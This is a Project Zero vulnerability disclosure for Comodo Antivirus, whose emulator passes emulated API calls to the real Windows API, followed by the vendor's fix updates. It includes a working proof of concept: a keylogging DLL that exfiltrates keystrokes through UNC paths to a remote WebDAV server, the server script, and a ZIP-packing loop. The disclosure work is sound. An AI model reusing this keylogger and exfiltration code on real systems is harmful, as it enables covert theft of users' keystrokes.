Monorail Project: project-zero Issues People Development process History Sign in
New issue
Advanced search Search tips
Starred by 3 users
Status: Fixed
Owner:
Closed: Mar 2016
Cc:



Sign in to add a comment
Comodo: Comodo Antivirus Forwards Emulated API calls to the Real API during scans
Project Member Reported by taviso@google.com, Mar 19 2016 Back to list
Comodo Antivirus includes a x86 emulator that is used to unpack and monitor obfuscated executables, this is common practice among antivirus products. The idea is that emulators can run the code safely for a short time, giving the sample enough time to unpack itself or do something that can be profiled. Needless to say, this is a very significant and complicated attack surface, as an attacker can trigger emulation simply by sending the victim an email or getting them to visit a website with zero user interaction.

I've found some memory corruption issues with the emulator, but Comodo also implement hundreds of shims for Win32 API calls, so that things like CreateFile, LoadLibrary, and so on appear to work to the emulated code. Astonishingly, some of these shims simply extract the parameters from the emulated address space and pass them directly to the real API, while running as NT AUTHORITY\SYSTEM. The results are then poked back in to the emulator, and the code continues.

The possible attacks here are too numerous to mention.

Here are some of the more obvious mistakes, let's start with USER32!GetKeyState (wtf!!!!). Here is the emulator shim from mach32.dll:

.text:1001D9A0                sub_1001D9A0    proc near               ; DATA XREF: .data:1016B10C31o
.text:1001D9A0
.text:1001D9A0                arg_0           = dword ptr  8
.text:1001D9A0
.text:1001D9A0 55                             push    ebp
.text:1001D9A1 8B EC                          mov     ebp, esp
.text:1001D9A3 8B 45 08                       mov     eax, [ebp+arg_0]  ; pVMClass
.text:1001D9A6 8B 08                          mov     ecx, [eax]        ; vtbl
.text:1001D9A8 8B 91 98 00 00+                mov     edx, [ecx+98h]    ; VArg2Rarg
.text:1001D9AE 6A 00                          push    0
.text:1001D9B0 6A 06                          push    6                 ; TypeDword
.text:1001D9B2 6A 01                          push    1                 ; ParamNum
.text:1001D9B4 50                             push    eax               ; this
.text:1001D9B5 FF D2                          call    edx               ; VArg2Rarg(pVMClass, 1, TypeDword, 0); Virtual Arg to Real Arg
.text:1001D9B7 50                             push    eax             ; nVirtKey
.text:1001D9B8 FF 15 F4 62 07+                call    ds:GetKeyState    ; Extract parameter from emulator, then return the real value (!!!)
.text:1001D9BE 98                             cwde
.text:1001D9BF 5D                             pop     ebp
.text:1001D9C0 C3                             retn
.text:1001D9C0                sub_1001D9A0    endp


The emulated code can query the real keyboard state (!!!).

I've found that the simplest method of triggering the emulation is to create a DLL with a writable text section. An attacker would also need a way to exfiltrate the monitored keystrokes out of the emulator, but I've found that the shim for kernel32!SetCurrentDirectoryA actually calls GetFileAttributes() on the specified parameter, so you can encode it as a UNC path and send it over the network to your control server. This doesn't require any user interaction.

To reproduce this bug, first, create a DLL like this:

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "KERNEL32")
#pragma comment(lib, "USER32")

// This is required to trigger the generic unpacker in comodo.
#pragma comment(linker, "/SECTION:.text,ERW")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    char path[128];
    char *ptr;

    ZeroMemory(path, sizeof path);

    ptr  = strcpy(path, "\\\\?\\UNC\\192.168.237.1\\");
    ptr += strlen(ptr);

    SetCurrentDirectory(path);

    for (;;) {
        for (*ptr = 'A'; *ptr <= 'Z'; (*ptr)++) {
            if (GetKeyState(*ptr) & 0x8000) {
                SetCurrentDirectory(path);
            }
        }
    }

    return TRUE;
}

Then run a minimal WebDAV server like this on the remote host:

#!/usr/bin/env python
import SimpleHTTPServer
import SocketServer

class WebDavHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header('Allow', 'OPTIONS, GET, PROPFIND')
        self.send_header('DAV', '1, 2')
        self.end_headers()
        self.connection.shutdown(1)

    def do_PROPFIND(self):
        self.send_response(207)
        self.send_header('Content-type', 'text/xml')
        self.end_headers()
        self.wfile.write('<?xml version="1.0"?><a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"><a:response></a:response></a:multistatus>')
        self.connection.shutdown(1)


SocketServer.TCPServer(('0.0.0.0', 80), WebDavHandler).serve_forever()

You only get a few seconds of logging per scan, but you can duplicate the payload thousands of times into a ZIP archive for effectively unlimited scan time. Something like this:

$ for ((i=0;i<1024;i++)); do cp keystroke.dll $i.dll; zip keystroke.zip $i.dll; rm -f $i.dll; done

Now scanning that zip file will send all keystrokes to the WebDAV server for approximately ten or so minutes (please note, there's no reason this can't be extended indefinitely), see screenshot for reference.

This is not the only attack possible, you can also extract, delete, query and use cryptographic keys, smartcards and other security hardware, because calls to CAPI routines like are all passed directly through to the real API:

ADVAPI32!CryptAcquireContextA
ADVAPI32!CryptDecrypt
ADVAPI32!CryptDeriveKey
ADVAPI32!CryptCreateHash .. and so on.

Any secrets stored in the registry are also exposed to attackers via RegQueryValueEx and GetProfileInt among others, all passed directly through to the real API. The list of possible attacks here is simply too long to enumerate, any competent developer can see this is a colossal mistake that needs to be remedied urgently.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
screenshot.png
99 KB View Download
webdav.py
794 bytes View Download
keystroke.c
685 bytes View Download
Project Member Comment 1 by taviso@google.com, Mar 19 2016
Cc: taviso@google.com
Issue 761 has been merged into this issue.
Project Member Comment 2 by taviso@google.com, Mar 19 2016
Comodo requested a telephone meeting, summary:

- They're currently planning to issue a fix for this and some other issues I reported on the 22nd. 
- They believe they can get ASLR enabled in that release, I told them that was really good news.

They explained some of the design of their emulator. They said that from their perspective, non-state changing access to API's is okay, so the bug here is that 

1) The UNC exfiltration trick allows attackers to retrieve information, they didn't think that was possible.
2) State-changing API's like CryptAcquireContext shouldn't have been permitted without parameter filtering, that's a bug.

They're planning to fix those two issues and review all the remaining API's for missing parameter filtering, but wanted to know if I agree that their design is sound. I said I suppose they're correct in theory, but this is a lot of attack surface, and it's easy to imagine unexpected sidechannels (e.g. the result of a scan, or scan timing). Either way, I was satisfied they understood the risks and the problems I had reported, and knew what they were doing.

Project Member Comment 3 by taviso@google.com, Mar 22 2016

Update from Comodo (they reference a couple of low severity bugs I sent them that have I didn't bother creating issues for, because they're just DoS):

-------------------

1- ASLR is enabled in AV engine binaries too
2- Wrong ACLs in %program data% folder are fixed
3 - The following buffer overflows/bugs are fixed:
    - Comodo Antivirus: Emulator Stack Buffer Overflow handling PSUBUSB (Packed Subtract Unsigned with Saturation)
    - Comodo Antivirus Heap Overflow in LZX Decompression
    - Comodo: Integer Overflow leading to Heap Overflow in Win32 emulation
    - Comodo: Integer Overlow Leading to Heap Overflow Parsing Composite Documents
    - Comodo: LZMA Decoder Performs Insufficient Parameter Checks, Resulting in Heap Overflow
    - Comodo: PackMan unpacker insufficient parameter validation
    -[low severity] Comodo: idiv instruction does not handle INT_MIN / -1
    -[low severity] stack overflow in vbs parser

4- Fixed Comodo Antivirus Forwards Emulated API calls to the Real API
We have initially fixed the attack vectors you reported. I.e. making sure UNC paths are sanitized and vulnerable functions such as CryptAcquieContext etc. sanitized. But We will be doing security review for many of the APIs to make sure we do not miss anything else.
We have also disabled this feature by default UNTIL we complete the security review.  So initial fix is going to address the scope you outlined but we will continue to review this area.

---------------------
Project Member Comment 4 by taviso@google.com, Mar 22 2016
Labels: -Restrict-View-Commit
Status: Fixed
This appears to be fixed now, the other issues fixed are  issue 737 ,  issue 738 ,  issue 753 ,  issue 762 ,  issue 763  and  issue 764 .

Of those,  issue 753  is probably the easiest to exploit remotely, nice clean stack buffer overflow in a module without ASLR.

Marking fixed.
Sign in to add a comment